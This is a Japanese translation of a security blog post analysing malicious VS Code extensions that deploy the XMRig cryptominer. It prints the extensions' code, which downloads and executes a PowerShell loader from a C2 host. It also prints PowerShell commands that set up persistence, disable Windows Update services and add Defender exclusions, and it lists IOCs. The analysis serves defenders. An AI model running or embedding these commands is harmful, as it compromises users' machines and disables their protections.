ExtensionTotalが検知した高度な暗号資産マイニングキャンペーンが、一見正規に見えるVS Code拡張機能に隠れる形で開発者を標的にしており、そのインストール数は累計100万件を超える可能性があります。
4月4日以降に3人の異なる作者(そのほとんどは「Mark H」)によって公開されたこれらの偽拡張機能は、密かにPowerShellスクリプトをダウンロードし、Windowsのセキュリティ機能を無効化した上でスケジュールタスクを通じて永続化を確立し、XMRigの暗号資産マイニングツールをインストールします。最も成功を収めた偽拡張機能(「Discord Rich Presence」)は、単体で18万9000件のインストールを獲得しました。攻撃者は非常に巧妙な多段階攻撃を仕組んでおり、疑いを招かないよう、なりすまし対象である正規の拡張機能まで実際にインストールしながら、裏側で暗号資産マイニングを行っていました。
はじめに
週末の間に、3人の異なる作者によって10種類の悪意あるVisual Studio Code拡張機能が公開され、これらが高度な多段階暗号資産マイニングキャンペーンの初期侵入経路として利用されていました。
これらの拡張機能は人気の開発ツールになりすまし、累計で100万件超のインストールを集めていました。インストールされると、Windowsのセキュリティサービスを無効化した上でリモートのC2サーバーからXMRigの暗号資産マイニングツールを展開するPowerShellローダーをダウンロード・実行します。
悪意ある拡張機能キャンペーンの内訳
この悪意あるキャンペーンでは、10種類の異なるVisual Studio Code拡張機能が公開されていました。
- Prettier — Code for VSCode(作者:
prettier) – インストール数95万5000件 - Discord Rich Presence for VS Code(作者:
Mark H) – インストール数18万9000件 - Rojo — Roblox Studio Sync(作者:
evaera) – インストール数11万7000件 - Solidity Compiler(作者:
VSCode Developer) – インストール数1300件 - Claude AI(作者:
Mark H) - Golang Compiler(作者:
Mark H) - ChatGPT Agent for VSCode(作者:
Mark H) - HTML Obfuscator(作者:
Mark H) - Python Obfuscator for VSCode(作者:
Mark H) - Rust Compiler for VSCode(作者:
Mark H)
このキャンペーンの中でも人気の高かった上位3つの拡張機能は、それぞれ95万5000件、18万9000件、11万7000件のインストール数を記録しており、これらは異例なほど短期間で達成された数字でした。この事実は、インストール数が人為的に水増しされていた可能性を強く示唆しています。おそらく、拡張機能を広く信頼され活発に利用されているように見せかけることで信頼性を確立し、ユーザーの疑念を減らすことが狙いだったと考えられます。
これらの拡張機能はいずれも同じ方式で動作します。まず、隠しウィンドウ内で同一のC2サーバーhttps://asdf11[.]xyz/からPowerShellスクリプトをダウンロードして実行します。
その後、なりすまし対象である正規の拡張機能のインストールを試みます。これにより、ユーザーは期待通りの機能を引き続き利用でき、悪意ある挙動を疑いにくくなります。
functionactivate(context) {
// Register the command to execute the PowerShell Loader and install the extensionlet disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', asyncfunction () {
if (process.platform === 'win32') {
const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
// Execute the command to download and execution the PowerShell Loaderawait executeCmdCommand(cmdCommand);
// After the PowerShell Loader has been executed, install the Solidity extensionconst extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extensionawait installExtension(extensionId);
} catch (error) {
vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
}
}
});
C2ドメインasdf11[.]xyzは、最初の拡張機能が公開されたのと同じ2025年4月4日に作成されたばかりのものでした。
これらの拡張機能は異なる作者名で公開されていたものの、コードは完全に同一であり、同じC2サーバーと通信して同一のペイロードをダウンロード・実行していました。
PowerShellローダー
このPowerShellスクリプトは、永続化、防御回避、権限昇格、実行という一連の役割を担っています。
永続化の仕組み
- 「OnedriveStartup」という名前のスケジュールタスクを設定し、ログオン時に実行するようにします(正規のOneDriveソフトウェアになりすまし)
Start-Process "cmd.exe" -ArgumentList "/c schtasks /create /tn `"OnedriveStartup`" /tr `"$qZVhfWBWTd5ptqbWRS8gzsNWK7JScbLgtuxRRD`" /sc ONLOGON /RL HIGHEST /F" -WindowStyle Hidden
- レジストリエントリからスクリプトを作成・実行します
Start-Process "cmd.exe" -ArgumentList "/c reg add ""HKCU\\Software\\Microsoft"" /v ""Version"" /t REG_SZ /d $uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp /f" -WindowStyle Hidden
防御回避
- Windowsのセキュリティサービスを無効化します
# Stops the Windows Update Service and disables it from starting
Stop-Service -Name wuauserv -Force
Set-Service -Name wuauserv -StartupType Disabled
# Modifies registry to disable the Windows Update Medic Service
Start-Process "cmd.exe" -ArgumentList '/c reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f' -WindowStyle Hidden
# Stops and disables the Update Orchestrator Service
Stop-Service -Name UsoSvc -Force
Set-Service -Name UsoSvc -StartupType Disabled
- 自ら作成したディレクトリをWindows Defenderの除外パスに追加します
Start-Process "cmd.exe" -ArgumentList "/c powershell -Command ""Add-MpPreference -ExclusionPath '%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp'""" -WindowStyle Hidden
Start-Process "cmd.exe" -ArgumentList "/c reg add `"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths`" /v `"%localappdata%\\$uDVxFVuHBesAFGZCV1NZw3xuoG0kC0NzzGKYyUp`" /t REG_SZ /d 0 /f" -WindowStyle Hidden
権限昇格
このPowerShellスクリプトは、悪意あるペイロードを管理者権限で実行しようと試みます。
その権限がない場合、スクリプトは別のSystem32ディレクトリの作成を試み、そこにComputerDefaults.exeファイルをコピーします。続いてスクリプトは、MLANG.dllという名前の独自の悪意あるDLLを作成し、このComputerDefaults実行ファイルを使って実行を試みます。
実行
このPowerShellスクリプトには、DLLとトロイの木馬の実行ファイルが単純なbase64エンコード文字列として埋め込まれています。スクリプトはこのトロイの木馬をデコードし、自ら作成してWindows Defenderの除外対象としたディレクトリにLauncher.exeとして書き込みます。
Launcher.exeは、別のC2サーバーであるmyaunet[.]suと通信し、Moneroのマイニングに使われるXMRigツールをダウンロード・実行します。
結論
今回のキャンペーンは、開発者エコシステムを狙ったサプライチェーン攻撃が、その巧妙さと発生頻度の両面で拡大し続けていることを示す、また一つの事例です。Visual Studio Code拡張機能ストアのようなマーケットプレイスが成長を続けるにつれ、攻撃者にとって悪用の標的としての魅力も増しています。
ExtensionTotalでは、悪意あるリスクの高い拡張機能が被害をもたらす前に検知することで、組織がこの変化し続ける脅威の状況に対応できるよう支援しています。これにより、開発チームはセキュリティを損なうことなく、現代の開発ツールがもたらす力と生産性を引き続き活用できます。
侵害指標(IOC)
VS Codeパッケージ名
- prettierteam.prettier
- markh.chatgpt-autocoder-vscode
- markh.claude-autocoder-vscode
- markh.discord-rich-presence-vs
- markh.golang-compiler-vscode
- markh.python-obfuscator-vscode
- markh.rust-compiler-vs
- evaera-rbx.vscode-rojo-rbx
- vscodedeveloper.sobidity-compiler
ファイルハッシュ
- 2d17f0cb6c8d9488f2d101b90052692049b0c4bd9bf4949758aae7b1fd936191 — Launcher.exe / myau.exe
- d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1 — xmrig.exe
- bb757c6338491170072e8b743ea2758eebaeb1472ba6b421c950c79a3daed853 — PowerShell
- 26111b28f6c507ea68e7c8a0f3ad64fb0d7b694d7f703bc626d871c4e1502dc2 — PowerShell
- 0c05365ea9c1162b10d93ffdc93eb4207b61062d35dbf6d424ad15e3342ecb70 — PowerShell
- b98dfc7ed18d6d30490fc2b997fbeae36541335bd05a94624da8b808e818d094 — PowerShell
- 71b48bc26f4a4f9759eaf35f44e7cebf4f18e1a74ab2c902f91404ca8ceb3a4e — PowerShell
- 13db408a3232ea31aab8edc648b6c315782db9516e1c08c6bd667e17f5dd147c — DLL
- 515e6d58b720d5e125602621b28fa37a669efed508e983b8c3136bea80d46640 — DLL
-
C2サーバー
- asdf11[.]xyz
- myaunet[.]su
翻訳元: https://www.koi.ai/blog/mining-in-plain-sight-the-vs-code-extension-cryptojacking-campaign